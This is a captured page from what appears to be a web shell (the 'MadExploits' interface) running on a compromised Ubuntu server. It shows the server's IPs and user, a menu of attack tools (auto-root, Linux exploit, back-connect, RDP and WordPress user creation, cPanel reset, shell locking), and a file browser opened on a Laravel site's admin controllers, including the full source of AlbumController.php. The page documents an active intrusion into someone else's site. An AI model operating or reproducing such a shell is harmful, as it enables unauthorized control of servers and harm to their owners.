Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.2
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
nepalphd /
app /
Http /
Controllers /
admin /
[ HOME SHELL ]
Name
Size
Permission
Action
AboutusController.php
4.59
KB
-rw-rw-r--
AdminController.php
3.14
KB
-rw-rw-r--
AlbumController.php
7.63
KB
-rw-rw-r--
CarousellController.php
4.41
KB
-rw-rw-r--
CommitteeController.php
9.26
KB
-rw-rw-r--
CommitteeTypeController.php
4.57
KB
-rw-rw-r--
ContactPersonController.php
5.13
KB
-rw-rw-r--
MasterCommitteeController.php
3.55
KB
-rw-rw-r--
MemberController.php
15.48
KB
-rw-rw-r--
MemberTypeController.php
3.14
KB
-rw-rw-r--
NewsController.php
4.57
KB
-rw-rw-r--
NoticeController.php
4.49
KB
-rw-rw-r--
SetupController.php
3.82
KB
-rw-rw-r--
VideoController.php
4
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : AlbumController.php
<?php namespace App\Http\Controllers\admin; use App\Models\Album; use App\Models\AlbumImage; use File; use ImageOptimizer; use Image; use Illuminate\Support\Str; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use App\Http\Requests\StoreAlbumRequest; use App\Http\Requests\UpdateAlbumRequest; class AlbumController extends Controller { public function index() { try{ $album = Album::latest()->get(); return view('admin.album.index',compact('album')); }catch(\Exception $e){ // return $e; return redirect()->back()->with('error',"Something Went Wrong"); } } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { try{ return view('admin.album.create'); }catch(\Exception $e){ return view('frontend.index')->with('error',"Something Went Wrong"); } } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(Request $request) { try{ // $request->validate([ // 'name'=>'required', // 'cover_image' => 'mimes:jpeg,webp,jpg,png|size:10000' // ]); $input['name'] = $request->name; $input['name_np'] = $request->name_np; $input['description'] = $request->description; $input['description_np'] = $request->description_np; $input['date'] = $request->date; $input['display_order'] = $request->display_order; if ($image = $request->file('cover_image')) { $destinationPath = 'album/'; $profileImage = date('YmdHis').'.'.$image->getClientOriginalExtension(); $image->move($destinationPath, $profileImage); $input['cover_image'] = "$profileImage"; } Album::create($input); return redirect()->route('albums.index')->with('success','Album Posted Successfully'); }catch(\Exception $e){ // return $e; return redirect()->route('albums.index')->with('error',"SomeThing Went Wrong"); } } /** * Display the specified resource. * * @param \App\Models\album $album * @return \Illuminate\Http\Response */ public function show(Album $album) { // } /** * Show the form for editing the specified resource. * * @param \App\Models\album $album * @return \Illuminate\Http\Response */ public function edit(Album $album) { return view('admin.album.edit',compact('album')); } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param \App\Models\album $album * @return \Illuminate\Http\Response */ public function update(Request $request, Album $album) { try{ // return $request; // $request->validate([ // 'name'=>'required', // 'cover_image' => 'mimes:jpeg,webp,jpg,png|size:3000' // ]); $request->validate([ 'name' => 'required|max:255', // 'cover_image' => 'required|mimes:png,jpg,jpeg,webp|max:2048', ]); $album->name = $request->name; $album->name_np = $request->name_np; $album->description = $request->description; $album->description_np = $request->description_np; $album->date = $request->date; $album->display_order = $request->display_order; if ($image = $request->file('cover_image')) { $path = public_path()."/album/".$album->cover_image; if($path){ unlink($path); } $destinationPath = 'album/'; $profileImage = date('YmdHis').'.'.$image->extension(); $image->move($destinationPath, $profileImage); $album->cover_image = "$profileImage"; } $album->save(); return redirect()->route('albums.index') ->with('success','Album updated successfully'); }catch(\Exception $e){ return $e; return redirect()->route('albums.index')->with('error','Something Went Wrong'); } } /** * Remove the specified resource from storage. * * @param \App\Models\album $album * @return \Illuminate\Http\Response */ public function destroy(Album $album) { try{ if($album->cover_image){ $path = public_path()."/album/".$album->cover_image; unlink($path); } $album->delete(); return back()->with('success',"SuccessFully Deleted"); }catch(\Exception $e){ // return $e; return redirect()->route('albums.index')->with('error',"Something Went Wrong"); } } public function album_images($id) { try{ $album_images = AlbumImage::where('albums_id',$id)->latest()->get(); return view('admin.album.images',compact('id','album_images')); }catch(\Exception $e){ return $e; return redirect()->route('albums.index')->with('error',"Something Went Wrong"); } } public function images_store(StoreAlbumRequest $request){ try{ // dd($request); // return $request; if ($image = $request->file('image')) { $img = Image::make($image->getRealPath()); $width = $img->width(); $height = $img->height(); $img->orientate(); if ($width >= $height) { $img->resize(1200, null, function ($constraint) { $constraint->aspectRatio(); }); } else { $img->resize(null, 1200, function ($constraint) { $constraint->aspectRatio(); $constraint->upsize(); }); } $destinationPath = 'album/'; $profileImage = date('YmdHis'); // return $img->response('jpg'); $img->save('album/'.$profileImage); $input['image'] = "$profileImage"; } $input['description'] = $request->description; $input['description_np'] = $request->description_np; $input['albums_id'] =$request->albums_id; // return $input; AlbumImage::create($input); // } return redirect()->back()->with('success','Album image uploaded successfully'); }catch(\Exception $e){ return $e; return redirect()->back()->with('error',"Something Went Wrong"); } } public function images_edit($id){ $data = AlbumImage::findOrFail($id); // return $data; return response()->json($data); } public function album_images_delete($id){ try{ // return $id; $album_images=AlbumImage::find($id); $path = public_path()."/album/".$album_images->image; unlink($path); $album_images->delete(); return back()->with('success',"SuccessFully Deleted"); }catch(\Exception $e){ // return $e; return redirect()->route('albums.index')->with('error',"Something Went Wrong"); } } }
Close